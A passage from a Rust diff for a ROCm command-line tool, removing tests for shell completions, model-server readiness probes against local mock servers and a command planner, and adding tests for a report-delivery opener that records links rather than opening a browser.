`comfyui status` / `setup status` subcommands. The hidden - // `status` verb is covered by name equality in - // `completion_command_excludes_hidden_subcommands` instead. - let hidden = [ - "__engine-serve-http", - "__engine-stdio", - "mcp-call", - "sandbox-run", - "bridge-snapshot", - "bootstrap", - ]; - for &shell in Shell::value_variants() { - let mut cmd = completion_command(); - let mut buf: Vec = Vec::new(); - clap_complete::generate(shell, &mut cmd, "rocm", &mut buf); - assert!(!buf.is_empty(), "no completion output for {shell:?}"); - let output = String::from_utf8(buf).expect("completion output is valid UTF-8"); - for verb in hidden { - assert!( - !output.contains(verb), - "hidden subcommand `{verb}` leaked into {shell:?} completions" - ); - } - // A known visible subcommand must still be present. - assert!( - output.contains("examine"), - "visible subcommand `examine` missing from {shell:?} completions" - ); - } - } - - #[test] - fn completion_command_excludes_hidden_subcommands() { - let names: Vec = completion_command() - .get_subcommands() - .map(|sc| sc.get_name().to_owned()) - .collect(); - // Visible subcommands are preserved. - assert!( - names.iter().any(|n| n == "examine"), - "filtered command tree dropped a visible subcommand; got {names:?}" - ); - assert!( - names.iter().any(|n| n == "completions"), - "filtered command tree dropped `completions`; got {names:?}" - ); - // Hidden subcommands are excluded. - for hidden in [ - "__engine-serve-http", - "__engine-stdio", - "mcp-call", - "sandbox-run", - "bridge-snapshot", - "bootstrap", - "status", - ] { - assert!( - !names.iter().any(|n| n == hidden), - "filtered command tree still exposes hidden subcommand `{hidden}`; got {names:?}" - ); - } - // The full derived command (used for runtime dispatch) keeps them. - let full_names: Vec = Cli::command() - .get_subcommands() - .map(|sc| sc.get_name().to_owned()) - .collect(); - assert!( - full_names.iter().any(|n| n == "__engine-stdio"), - "runtime command tree must retain hidden verbs for dispatch; got {full_names:?}" - ); - } - - #[test] - fn completions_command_is_structured_not_freeform() { - use clap_complete::Shell; - for &shell in Shell::value_variants() { - let shell_arg = shell.to_string(); - let invocation = - parse_freeform_invocation(&["completions".to_owned(), shell_arg.clone()]); - assert!( - !should_treat_as_freeform(&invocation), - "`completions {shell_arg}` must dispatch as a structured command, not freeform" - ); - // It must also parse cleanly through the structured clap parser. - let cli = Cli::try_parse_from(["rocm", "completions", &shell_arg]) - .expect("completions should parse via Cli"); - assert!(matches!(cli.command, Some(Command::Completions { .. }))); - } - } - - #[test] - fn completions_rejects_unknown_shell() { - // An unrecognized shell must be a hard parse error (non-zero exit in - // `main`), not silently treated as natural language or accepted. - let invocation = - parse_freeform_invocation(&["completions".to_owned(), "notashell".to_owned()]); - assert!( - !should_treat_as_freeform(&invocation), - "`completions notashell` must stay on the structured path so clap reports the error" - ); - let parsed = Cli::try_parse_from(["rocm", "completions", "notashell"]); - assert!( - parsed.is_err(), - "an unknown shell must fail to parse rather than being accepted" - ); - } - - #[test] - fn service_http_readiness_requires_loaded_lemonade_model() { - let loading = json!({ "all_models_loaded": [] }).to_string(); - assert!(!service_http_readiness_response_ready( - "lemonade", - "/v1/health", - 200, - &loading, - "Qwen3-0.6B-GGUF" - )); - - let loaded = json!({ - "all_models_loaded": [{ - "model_name": "Qwen3-0.6B-GGUF", - "recipe_options": { "llamacpp_backend": "rocm" } - }] - }) - .to_string(); - assert!(service_http_readiness_response_ready( - "lemonade", - "/v1/health", - 200, - &loaded, - "Qwen3-0.6B-GGUF" - )); - - let loaded_cpu = json!({ - "all_models_loaded": [{ - "model_name": "Qwen3-0.6B-GGUF", - "recipe_options": { "llamacpp_backend": "cpu" } - }] - }) - .to_string(); - assert!(!service_http_readiness_response_ready( - "lemonade", - "/v1/health", - 200, - &loaded_cpu, - "Qwen3-0.6B-GGUF" - )); - } - - #[test] - fn service_http_readiness_requires_model_list_entry() { - let empty = json!({ "data": [] }).to_string(); - assert!(!service_http_readiness_response_ready( - "vllm", - "/v1/models", - 200, - &empty, - "tiny.gguf" - )); - - let models = json!({ "data": [{ "id": "tiny.gguf" }] }).to_string(); - assert!(service_http_readiness_response_ready( - "vllm", - "/v1/models", - 200, - &models, - "tiny.gguf" - )); - - let lemonade_cpu_models = json!({ - "data": [{ - "id": "Qwen3-0.6B-GGUF", - "recipe_options": { "llamacpp_backend": "cpu" } - }] - }) - .to_string(); - assert!(!service_http_readiness_response_ready( - "lemonade", - "/v1/models", - 200, - &lemonade_cpu_models, - "Qwen3-0.6B-GGUF" - )); - - let lemonade_rocm_models = json!({ - "data": [{ - "id": "Qwen3-0.6B-GGUF", - "recipe_options": { "llamacpp_backend": "rocm" } - }] - }) - .to_string(); - assert!(service_http_readiness_response_ready( - "lemonade", - "/v1/models", - 200, - &lemonade_rocm_models, - "Qwen3-0.6B-GGUF" - )); - - assert!(!service_http_readiness_response_ready( - "vllm", - "/health", - 200, - "OK", - "tiny.gguf" - )); - assert!(!service_http_readiness_response_ready( - "vllm", - "/healthz", - 200, - "OK", - "Qwen3-0.6B-GGUF" - )); - } - - #[test] - fn lemonade_direct_serve_model_reads_ready_without_recipe_options() { - // The HF direct-serve path runs a stock llama-server whose `/v1/models` entry - // has no `recipe_options`. It must read as ready by name (that path is GPU-only), - // while a registered-but-unloaded lemonade entry (empty `recipe_options`) must not. - let direct = json!({ - "data": [{ "id": "LiquidAI/LFM2.5-230M-GGUF:Q4_0", "object": "model" }] - }) - .to_string(); - assert!(service_http_readiness_response_ready( - "lemonade", - "/v1/models", - 200, - &direct, - "LiquidAI/LFM2.5-230M-GGUF:Q4_0" - )); - - let registered = json!({ - "data": [{ "id": "LiquidAI/LFM2.5-230M-GGUF:Q4_0", "recipe_options": {} }] - }) - .to_string(); - assert!(!service_http_readiness_response_ready( - "lemonade", - "/v1/models", - 200, - ®istered, - "LiquidAI/LFM2.5-230M-GGUF:Q4_0" - )); - } - - #[test] - fn lemonade_stop_unloads_selected_model_over_http() -> Result<()> { - use std::io::{Read, Write}; - use std::net::TcpListener; - use std::sync::mpsc; - - let listener = TcpListener::bind(("127.0.0.1", 0))?; - let port = listener.local_addr()?.port(); - let (sender, receiver) = mpsc::channel(); - let handle = thread::spawn(move || -> Result<()> { - let (mut stream, _) = listener.accept()?; - stream.set_read_timeout(Some(Duration::from_secs(2)))?; - let mut request = Vec::new(); - let mut buffer = [0_u8; 512]; - loop { - let read = stream.read(&mut buffer)?; - if read == 0 { - break; - } - request.extend_from_slice(&buffer[..read]); - let text = String::from_utf8_lossy(&request); - if let Some((headers, body)) = text.split_once("\r\n\r\n") { - let expected = headers - .lines() - .find_map(|line| line.strip_prefix("Content-Length: ")) - .and_then(|value| value.trim().parse::().ok()) - .unwrap_or(0); - if body.len() >= expected { - break; - } - } - } - let text = String::from_utf8(request).context("request was not utf-8")?; - sender.send(text).ok(); - stream.write_all( - b"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: 35\r\nConnection: close\r\n\r\n{\"status\":\"success\",\"message\":\"ok\"}", - )?; - Ok(()) - }); - - let (_root, paths) = test_paths("lemonade-stop-unload"); - let record = ManagedServiceRecord::new( - &paths, - "svc-qwen", - "lemonade", - "qwen", - "Qwen3-0.6B-GGUF", - "127.0.0.1", - port, - "managed", - 123, - Some("therock-release".to_owned()), - Some("lemonade-embeddable-10.6.0".to_owned()), - Some("gpu_required".to_owned()), - ); - unload_lemonade_service_model(&record)?; - handle.join().expect("listener thread panicked")?; - let request = receiver.recv_timeout(Duration::from_secs(1))?; - assert!(request.starts_with("POST /v1/unload HTTP/1.1")); - assert!(request.contains("\"model_name\":\"Qwen3-0.6B-GGUF\"")); - Ok(()) - } - - #[test] - fn lemonade_stop_unload_is_bounded_by_the_request_timeout() -> Result<()> { - use std::io::{Read, Write}; - use std::net::TcpListener; - use std::time::Instant; - - // Regression test for the stall this PR fixes: a peer that trickles the - // response one byte at a time, never framing or closing, used to stall - // `read_tcp_stream_to_string`'s read-to-EOF loop indefinitely. That hung - // `unload_lemonade_service_model` past its 5s timeout during scenario - // teardown, showing up as an unexplained multi-minute gap. The unload - // call must now return an error at (not far past) its 5s budget. - let listener = TcpListener::bind(("127.0.0.1", 0))?; - let port = listener.local_addr()?.port(); - thread::spawn(move || { - let Ok((mut stream, _)) = listener.accept() else { - return; - }; - stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); - let mut buffer = [0_u8; 512]; - let _ = stream.read(&mut buffer); - let body = b"{\"status\":\"success\",\"message\":\"ok\"}"; - let header = format!( - "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n", - body.len() - ); - let _ = stream.write_all(header.as_bytes()); - // One byte every 300ms never finishes framing the 35-byte body - // inside the 5s unload timeout below, so the bound under test is - // the deadline firing, not the response completing early. - for byte in body { - if stream.write_all(&[*byte]).is_err() { - return; - } - thread::sleep(Duration::from_millis(300)); - } - }); - - let (_root, paths) = test_paths("lemonade-stop-unload-dribble"); - let record = ManagedServiceRecord::new( - &paths, - "svc-qwen", - "lemonade", - "qwen", - "Qwen3-0.6B-GGUF", - "127.0.0.1", - port, - "managed", - 123, - Some("therock-release".to_owned()), - Some("lemonade-embeddable-10.6.0".to_owned()), - Some("gpu_required".to_owned()), - ); - let started = Instant::now(); - assert!(unload_lemonade_service_model(&record).is_err()); - let elapsed = started.elapsed(); - assert!( - elapsed >= Duration::from_secs(4), - "bounded BY the 5s deadline, not failing early: {elapsed:?}" - ); - assert!(elapsed < Duration::from_secs(8), "{elapsed:?}"); - Ok(()) - } - - #[test] - fn serve_readiness_wait_withholds_ready_while_the_model_only_lists() -> Result<()> { - use std::io::{Read, Write}; - use std::net::TcpListener; - - // This is the wait behind `rocm serve`, and its verdict is what - // `services list` later prints. A model listing on `/v1/models` while - // inference still fails must come back as `Listing` — reporting it ready - // is the false positive users and automation trip over. - let listener = TcpListener::bind(("127.0.0.1", 0))?; - let port = listener.local_addr()?.port(); - let server = thread::spawn(move || -> Result<()> { - // Serve until the wait below gives up and the test drops the socket. - while let Ok((mut stream, _)) = listener.accept() { - stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); - let mut buffer = [0_u8; 1024]; - let Ok(read) = stream.read(&mut buffer) else { - continue; - }; - let request = String::from_utf8_lossy(&buffer[..read]).into_owned(); - let (status_line, body) = if request.starts_with("POST /v1/chat/completions ") { - ("HTTP/1.1 503 Service Unavailable", r#"{"error":"loading"}"#) - } else { - ("HTTP/1.1 200 OK", r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"#) - }; - let _ = write!( - stream, - "{status_line}\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", - body.len(), - body - ); - } - Ok(()) - }); - - let readiness = wait_for_service_http_ready( - "vllm", - "127.0.0.1", - port, - "Qwen3-0.6B-GGUF", - None, - Duration::from_millis(600), - ); - - assert_eq!( - readiness, - EndpointReadiness::Listing, - "a listed-but-unservable model is not ready" - ); - assert_eq!( - status_for_readiness(readiness), - "running", - "a loading service must not be recorded as `starting`, which rocmd \ - restarts once stale" - ); - drop(server); - Ok(()) - } - - #[test] - fn serve_readiness_wait_reports_ready_once_inference_answers() -> Result<()> { - use std::io::{Read, Write}; - use std::net::TcpListener; - - let listener = TcpListener::bind(("127.0.0.1", 0))?; - let port = listener.local_addr()?.port(); - let server = thread::spawn(move || -> Result<()> { - while let Ok((mut stream, _)) = listener.accept() { - stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); - let mut buffer = [0_u8; 1024]; - let Ok(read) = stream.read(&mut buffer) else { - continue; - }; - let request = String::from_utf8_lossy(&buffer[..read]).into_owned(); - let body = if request.starts_with("POST /v1/chat/completions ") { - r#"{"choices":[{"message":{"content":"ok"}}]}"# - } else { - r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"# - }; - let _ = write!( - stream, - "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", - body.len(), - body - ); - } - Ok(()) - }); - - let readiness = wait_for_service_http_ready( - "vllm", - "127.0.0.1", - port, - "Qwen3-0.6B-GGUF", - None, - Duration::from_secs(5), - ); - - assert_eq!(readiness, EndpointReadiness::Serving); - assert_eq!(status_for_readiness(readiness), "ready"); - drop(server); - Ok(()) - } - - #[test] - fn serve_readiness_ready_verdict_does_not_wait_for_the_peer_to_close() -> Result<()> { - use std::io::{Read, Write}; - use std::net::TcpListener; - use std::time::Instant; - - // Regression test for the other half of this PR's fix: a response is - // read to completion by its own framing, not by waiting for the peer - // to close. Before this fix, `read_tcp_stream_to_string` blocked - // until EOF, so a keep-alive engine that answers correctly but never - // closes the socket looked identical to a hung one — the readiness - // probe ran out its timeout and reported not-ready even though the - // answer had already arrived. - let listener = TcpListener::bind(("127.0.0.1", 0))?; - let port = listener.local_addr()?.port(); - let server = thread::spawn(move || { - while let Ok((mut stream, _)) = listener.accept() { - thread::spawn(move || { - stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); - let mut buffer = [0_u8; 1024]; - let Ok(read) = stream.read(&mut buffer) else { - return; - }; - let request = String::from_utf8_lossy(&buffer[..read]).into_owned(); - let body = if request.starts_with("POST /v1/chat/completions ") { - r#"{"choices":[{"message":{"content":"ok"}}]}"# - } else { - r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"# - }; - let _ = write!( - stream, - "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n{}", - body.len(), - body - ); - // Hold the connection open well past the readiness wait's - // timeout below, and deliberately omit `Connection: - // close`. The client must not need EOF to recognize the - // response as complete. - thread::sleep(Duration::from_secs(10)); - }); - } - }); - - let started = Instant::now(); - let readiness = wait_for_service_http_ready( - "vllm", - "127.0.0.1", - port, - "Qwen3-0.6B-GGUF", - None, - Duration::from_secs(5), - ); - - assert_eq!(readiness, EndpointReadiness::Serving); - assert!( - started.elapsed() < Duration::from_secs(3), - "a complete response must be recognized without waiting on the peer to close" - ); - // `server`'s accept loop runs forever; dropping the JoinHandle detaches - // it rather than joining, and the thread dies with the test process. - drop(server); - Ok(()) - } - - #[test] - fn a_loading_service_keeps_its_status_instead_of_being_demoted() -> Result<()> { - use std::io::{Read, Write}; - use std::net::TcpListener; - - // A model that is listed but cannot serve yet is coming up normally. It - // must not be demoted to "starting": `rocmd` restarts a service that sits - // in "starting" past its stale window, which would kill a slow-loading - // model mid-load and start the wait over. - let listener = TcpListener::bind(("127.0.0.1", 0))?; - let port = listener.local_addr()?.port(); - // Keeps listing the model for as long as the test asks, so a second - // readiness check reaches the probe throttle rather than an unanswered - // socket. Counts the inference requests that actually got sent. - let probes = std::sync::Arc::new(std::sync::atomic::AtomicUsize::new(0)); - let server_probes = std::sync::Arc::clone(&probes); - let server = thread::spawn(move || { - while let Ok((mut stream, _)) = listener.accept() { - stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); - let mut buffer = [0_u8; 1024]; - let Ok(read) = stream.read(&mut buffer) else { - continue; - }; - let request = String::from_utf8_lossy(&buffer[..read]).into_owned(); - if request.starts_with("POST /v1/chat/completions ") { - server_probes.fetch_add(1, std::sync::atomic::Ordering::SeqCst); - let body = r#"{"error":"loading model"}"#; - let _ = write!( - stream, - "HTTP/1.1 503 Service Unavailable\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", - body.len(), - body - ); - } else { - let body = r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"#; - let _ = write!( - stream, - "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", - body.len(), - body - ); - } - } - }); - - let (root, paths) = test_paths("liveness-loading-service"); - paths.ensure()?; - let mut record = ManagedServiceRecord::new( - &paths, - "svc-loading", - "vllm", - "Qwen3-0.6B-GGUF", - "Qwen3-0.6B-GGUF", - "127.0.0.1", - port, - "managed", - std::process::id(), - None, - None, - None, - ); - record.status = "running".to_owned(); - record.write()?; - - let changed = refresh_managed_service_runtime_liveness(&paths, &mut record); - - assert_eq!( - record.status, "running", - "a loading service keeps its status rather than being demoted" - ); - assert!( - record.inference_verified_at_unix_ms.is_none(), - "nothing is latched until inference actually answers" - ); - assert!( - changed && record.inference_probe_attempted_at_unix_ms.is_some(), - "the probe attempt is recorded and reported so the caller persists \ - the retry throttle" - ); - - // Second pass, inside the retry interval: the throttle holds, so the - // model is not asked to generate again just because someone re-listed. - let changed_again = refresh_managed_service_runtime_liveness(&paths, &mut record); - assert!(!changed_again, "a throttled check changes nothing"); - assert_eq!(record.status, "running"); - assert_eq!( - probes.load(std::sync::atomic::Ordering::SeqCst), - 1, - "a warming service must not be re-probed by every poll" - ); - - drop(server); - fs::remove_dir_all(root).ok(); - Ok(()) - } - - #[test] - fn load_managed_services_promotes_running_to_ready_once_probe_passes() -> Result<()> { - use std::io::{Read, Write}; - use std::net::TcpListener; - - let listener = TcpListener::bind(("127.0.0.1", 0))?; - let port = listener.local_addr()?.port(); - // Three requests hit this mock. `load_managed_services` lists the model - // and then confirms inference, which promotes the record and latches the - // verification; the `load_managed_service` re-read below (which proves the - // promotion was persisted, not just returned in-memory) reads that latch - // and so only re-lists. - let server = thread::spawn(move || -> Result> { - let mut requests = Vec::new(); - for _ in 0..3 { - let (mut stream, _) = listener.accept()?; - stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); - let mut request_bytes = Vec::new(); - let mut buffer = [0_u8; 1024]; - loop { - let read = stream.read(&mut buffer)?; - if read == 0 { - break; - } - request_bytes.extend_from_slice(&buffer[..read]); - if String::from_utf8_lossy(&request_bytes).contains("\r\n\r\n") { - break; - } - } - let request = String::from_utf8_lossy(&request_bytes).into_owned(); - let body = if request.starts_with("POST /v1/chat/completions ") { - r#"{"choices":[{"message":{"content":"ok"}}]}"# - } else { - r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"# - }; - write!( - stream, - "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", - body.len(), - body - )?; - requests.push(request); - } - Ok(requests) - }); + "remote", + "automations", + "config", + "logs", + "daemon", + "dash", + "bench", + "uninstall", + "help", + "--help", + "-h", + "version", + "--version", + "-V", + ]; - let (root, paths) = test_paths("load-managed-services-promote-ready"); - paths.ensure()?; - let mut record = ManagedServiceRecord::new( - &paths, - "svc-qwen-promote", - "vllm", - "Qwen3-0.6B-GGUF", - "Qwen3-0.6B-GGUF", - "127.0.0.1", - port, - "managed", - std::process::id(), - None, - None, - None, - ); - // A supervisor that has already observed the engine come up reports - // "running"; only the HTTP model-ready probe should promote it further. - record.status = "running".to_owned(); - record.write()?; + !args.is_empty() && !args[0].starts_with('-') && !STRUCTURED.contains(&args[0].as_str()) +} - let records = load_managed_services(&paths)?; - let promoted = records - .iter() - .find(|found| found.service_id == "svc-qwen-promote") - .expect("service should be present"); - assert_eq!(promoted.status, "ready"); +#[cfg(test)] +pub(crate) mod tests { + use std::cell::RefCell; - // Re-read the manifest file directly (bypassing any code path that - // could itself re-run the promotion) to prove the transition was - // actually written to disk, not just returned in the in-memory - // `Vec` above. `load_managed_service` below - // also calls `refresh_managed_service_runtime_liveness` on every - // read, so asserting only on its return value would pass even if - // `load_managed_services` never persisted anything. - let on_disk_bytes = fs::read(&record.manifest_path)?; - let on_disk = serde_json::from_slice::(&on_disk_bytes)?; - assert_eq!(on_disk.status, "ready"); + use rocm_core::browser::Opener; + use rocm_core::report_delivery::Delivery; - // The promotion must have been persisted to disk, not just returned - // in-memory, since chat's `pick_managed_chat_endpoint` re-reads it. - let reloaded = load_managed_service(&paths, "svc-qwen-promote")?; - assert_eq!(reloaded.status, "ready"); - assert!( - reloaded.inference_verified_at_unix_ms.is_some(), - "the inference verification is persisted with the promotion" - ); + use super::perform_delivery; - let requests = server.join().expect("server thread should not panic")?; - let lines: Vec<&str> = requests - .iter() - .filter_map(|request| request.lines().next()) - .collect(); - assert_eq!( - lines, - vec![ - "GET /v1/models HTTP/1.1", - "POST /v1/chat/completions HTTP/1.1", - "GET /v1/models HTTP/1.1", - ], - "promotion confirms inference once; the re-read reads the latch" - ); - fs::remove_dir_all(root).ok(); - Ok(()) + /// An opener that records rather than opens, and can be told to fail. + /// + /// The whole reason the opener is a trait: the real one spawns a browser + /// against whatever desktop exists, so neither "it was opened" nor "it was + /// deliberately not opened" can be observed in CI without this. + struct RecordingOpener { + opened: RefCell>, + fails: bool, } - fn test_examine(os: &str, wsl: bool) -> ExamineSummary { - ExamineSummary { - os: os.to_owned(), - arch: "x86_64".to_owned(), - kernel: Some("6.8.0-test".to_owned()), - distro: Some("test distro".to_owned()), - cpu: Some("AMD Ryzen".to_owned()), - system_ram_gib: Some(64.0), - interactive_terminal: false, - default_engine: "vllm".to_owned(), - detected_gfx_target: Some("gfx1201".to_owned()), - compatible_therock_family: Some("gfx120X-all".to_owned()), - detected_therock_family: None, - driver: rocm_core::DriverSummary { - policy: "linux_official_amd_dkms_wrapper".to_owned(), - status: "amdgpu_missing".to_owned(), - detail: Some("/dev/kfd missing".to_owned()), - }, - legacy_rocm: rocm_core::LegacyRocmSummary { - status: "not_detected".to_owned(), - paths: Vec::new(), - detail: None, - version: None, - }, - wsl: wsl.then_some(rocm_core::WslSummary { - is_wsl: true, - dxg_device: true, - dxcore: true, - librocdxg: false, - rocdxg_dids: false, - ldconfig_librocdxg: false, - rocminfo: false, - cargo: false, - detail: Some("missing librocdxg".to_owned()), - }), - managed_runtime_count: 0, - managed_service_count: 0, - model_cache_entries: 0, - config_dir: PathBuf::from("/tmp/config"), - data_dir: PathBuf::from("/tmp/data"), - cache_dir: PathBuf::from("/tmp/cache"), + impl RecordingOpener { + fn working() -> Self { + Self { + opened: RefCell::new(Vec::new()), + fails: false, + } } - } - - fn test_app_paths() -> AppPaths { - AppPaths { - config_dir: PathBuf::from("C:/Users/test/.rocm"), - data_dir: PathBuf::from("D:/rocm-data"), - cache_dir: PathBuf::from("D:/rocm-data/cache"), + fn broken() -> Self { + Self { + opened: RefCell::new(Vec::new()), + fails: true, + } + } + fn opened(&self) -> Vec { + self.opened.borrow().clone() } } - #[test] - fn app_path_env_vars_include_config_data_and_cache() { - let paths = test_app_paths(); - let vars = app_path_env_vars(&paths); - - assert_eq!(vars[0], ("ROCM_CLI_CONFIG_DIR", paths.config_dir.as_path())); - assert_eq!(vars[1], ("ROCM_CLI_DATA_DIR", paths.data_dir.as_path())); - assert_eq!(vars[2], ("ROCM_CLI_CACHE_DIR", paths.cache_dir.as_path())); - } - - #[test] - fn app_path_env_var_values_include_engine_env_root_when_needed() { - let paths = test_app_paths(); - let engine_root = PathBuf::from("D:/rocm-data/runtime/engines"); - let vars = app_path_env_var_values(&paths, Some(&engine_root)); - - assert_eq!( - vars.last().map(|(key, value)| (*key, value.as_path())), - Some(("ROCM_CLI_ENGINE_ENVS_ROOT", engine_root.as_path())) - ); - } - - #[test] - fn uninstall_binary_matcher_includes_packaged_codex_binary() { - assert!(is_rocm_install_entry_name("rocm-codex")); - assert!(is_rocm_install_entry_name("rocm-codex.exe")); + impl Opener for RecordingOpener { + fn open(&self, url: &str) -> anyhow::Result<()> { + self.opened.borrow_mut().push(url.to_owned()); + if self.fails { + anyhow::bail!("no browser here"); + } + Ok(()) + } } + /// Nothing is opened unless the decision was to open. + /// + /// The assertion that matters is on the opener, not on the wording. A + /// message saying no browser was started is satisfied by any string; an + /// opener that recorded nothing is the actual claim. #[test] - fn hybrid_planner_normalizes_model_alias_and_structured_serve_call() { - let plan = build_freeform_plan("serve qwen3.5 with vllm", &RocmCliConfig::default()); + fn a_delivery_that_is_not_an_open_never_reaches_the_browser() { + let delivery = Delivery::Show("mailto:nobody@example.invalid".to_owned()); + let opener = RecordingOpener::working(); + let said = perform_delivery(&delivery, &opener); - assert_eq!(plan.intent, PlannerIntent::Serve); - assert_eq!(plan.confidence, "high"); - assert!( - plan.parsed - .contains(&("model".to_owned(), "Qwen/Qwen3.5-4B".to_owned())) - ); assert!( - plan.parsed - .contains(&("model_alias".to_owned(), "qwen3.5".to_owned())) + opener.opened().is_empty(), + "a mail client was started for {delivery:?}, which is the one thing this path must \ + not do on a machine the user is holding over SSH" ); assert!( - plan.parsed - .contains(&("engine".to_owned(), "vllm".to_owned())) + said.contains("Nothing has been sent"), + "the user has to be told nothing left the machine: {said}" ); + // A machine in this state often cannot act on a `mailto:` at all, so + // the address has to be readable on its own, not only inside the link. assert!( - plan.parsed - .contains(&("mode".to_owned(), "managed".to_owned())) + said.contains(rocm_core::report_delivery::DESTINATION), + "a user who has to send the mail by hand needs the address: {said}" ); - assert!(plan.actions.iter().any(|action| { - action.approval == "required" - && action.args - == vec![ - "serve".to_owned(), - "Qwen/Qwen3.5-4B".to_owned(), - "--engine".to_owned(), - "vllm".to_owned(), - "--device".to_owned(), - "gpu_required".to_owned(), - "--managed".to_owned(), - ] - })); } + /// Opening is what an open decision does, and the user is told it is not + /// filed yet. #[test] - fn hybrid_planner_can_use_active_recipe_registry_aliases() { - let mut recipe = resolve_builtin_model_recipe("tiny-gpt2").expect("tiny recipe"); - recipe.canonical_model_id = "Acme/SignedTiny".to_owned(); - recipe.aliases = vec!["signedtiny".to_owned()]; - recipe.source = "signed_recipe_index".to_owned(); - recipe.preferred_engines = vec!["vllm".to_owned()]; - recipe.device_policy = "cpu_only".to_owned(); - recipe.dtype = "float16".to_owned(); - - let plan = build_freeform_plan_with_recipes( - "serve signedtiny", - &RocmCliConfig::default(), - Some(&[recipe]), - "lemonade", - ); + fn an_open_decision_reaches_the_browser_and_is_still_not_a_send() { + let url = "https://example.invalid/new?body=x"; + let opener = RecordingOpener::working(); + let said = perform_delivery(&Delivery::Open(url.to_owned()), &opener); - assert_eq!(plan.intent, PlannerIntent::Serve); - assert_eq!(plan.confidence, "high"); - assert!( - plan.parsed - .contains(&("model".to_owned(), "Acme/SignedTiny".to_owned())) - ); - assert!( - plan.parsed - .contains(&("model_alias".to_owned(), "signedtiny".to_owned())) - ); - assert!( - plan.parsed - .contains(&("recipe_source".to_owned(), "signed_recipe_index".to_owned())) - ); - assert!( - plan.parsed - .contains(&("recipe_dtype".to_owned(), "float16".to_owned())) + assert_eq!( + opener.opened(), + vec![url.to_owned()], + "premise failed: an open decision must reach the opener, otherwise the cases above \ + are satisfied by never opening anything" ); - assert!(plan.actions.is_empty()); assert!( - plan.notes - .iter() - .any(|note| note.contains("CPU mode is not offered")) + said.contains("only when you send it"), + "opening a prefilled mail is not sending it, and the user has to know which one \ + happened: {said}" ); } + /// A browser that will not start still leaves the user the link. #[test] - fn hybrid_planner_builds_nightly_therock_install_call() { - let plan = build_freeform_plan( - "install the latest TheRock nightly for this GPU into D:\\ROCm\\therock_venvs", - &RocmCliConfig::default(), - ); + fn a_browser_that_fails_to_start_still_hands_the_user_the_link() { + let url = "https://example.invalid/new?body=x"; + let said = perform_delivery(&Delivery::Open(url.to_owned()), &RecordingOpener::broken()); - assert_eq!(plan.intent, PlannerIntent::InstallSdk); - assert!( - plan.parsed - .contains(&("channel".to_owned(), "nightly".to_owned())) - ); assert!( - plan.parsed - .contains(&("prefix".to_owned(), "D:\\ROCm\\therock_venvs".to_owned())) + said.contains(url), + "the link is the whole of what this offers, so a failed browser must not lose it: \ + {said}" ); - assert!(plan.actions.iter().any(|action| { - action.title == "Install TheRock SDK" - && action.approval == "required" - && action.args - == vec![ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "nightly".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), - "--prefix".to_owned(), - "D:\\ROCm\\therock_venvs".to_owned(), - ] - })); + assert!(said.contains("Nothing has been sent")); + } + + /// A diagnosis report holding exactly one finding. + /// + /// `has_match` is passed independently of the score on purpose: the point + /// under test is that the two are read together, so a fixture that derived + /// one from the other could not express the case being guarded against. + fn report_of( + has_match: bool, + id: &str, + score: i32, + fix: Option, + ) -> rocm_core::DiagnoseReport { + rocm_core::DiagnoseReport { + has_match, + matched: vec![rocm_core::Diagnosis { + id: id.to_owned(), + title: "under test".to_owned(), + score, + evidence: Vec::new(), + fix, + }], + min_score_for_match: 50, + high_confidence_threshold: 80, + route_when_no_match: rocm_core::diagnose::Route { + target: String::new(), + url: String::new(), + }, + out_of_scope: None, + model: None, + } } + /// The entry a report names is one the diagnosis established, not merely + /// the strongest signal it saw. + /// + /// This is a wiring test, not a logic one. `established_entry` is correct in + /// itself; what it could get wrong is being handed `matched.first()` + /// unconditionally. Several checkers open with a nonzero score for a + /// situation that is only potentially relevant, so a healthy machine + /// produces a `matched` list full of sub-threshold entries — and a report + /// naming one of those would look like an established cause to every + /// counter downstream, with nothing able to tell the difference afterwards. #[test] - fn hybrid_planner_builds_requested_therock_build_date_install_call() { - let plan = build_freeform_plan( - "install the TheRock wheel from date 06052026 into D:\\ROCm\\therock_venvs", - &RocmCliConfig::default(), + fn a_report_names_an_established_cause_and_not_the_loudest_weak_signal() { + let weak_only = report_of(false, "fix-10-container", 25, None); + assert_eq!( + established_entry(&weak_only), + (None, false), + "nothing cleared the bar, so the report has no entry to name" ); - assert_eq!(plan.intent, PlannerIntent::InstallSdk); - assert!( - plan.parsed - .contains(&("build_date".to_owned(), "2026-06-05".to_owned())) + // Non-vacuity: an established cause must come through, or the assertion + // above is satisfied by never naming anything. + let established = report_of(true, "fix-6-path", 90, Some(rocm_core::Fix::default())); + assert_eq!( + established_entry(&established), + (Some("fix-6-path"), true), + "an established cause with a fix is exactly what a report is for" ); - assert!(plan.actions.iter().any(|action| { - action.title == "Install TheRock SDK" - && action.approval == "required" - && action.args - == vec![ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - "--format".to_owned(), - "wheel".to_owned(), - "--prefix".to_owned(), - "D:\\ROCm\\therock_venvs".to_owned(), - "--build-date".to_owned(), - "2026-06-05".to_owned(), - ] - })); } + use std::process::ExitCode; + /// `Ok(())` must map to a clean exit so 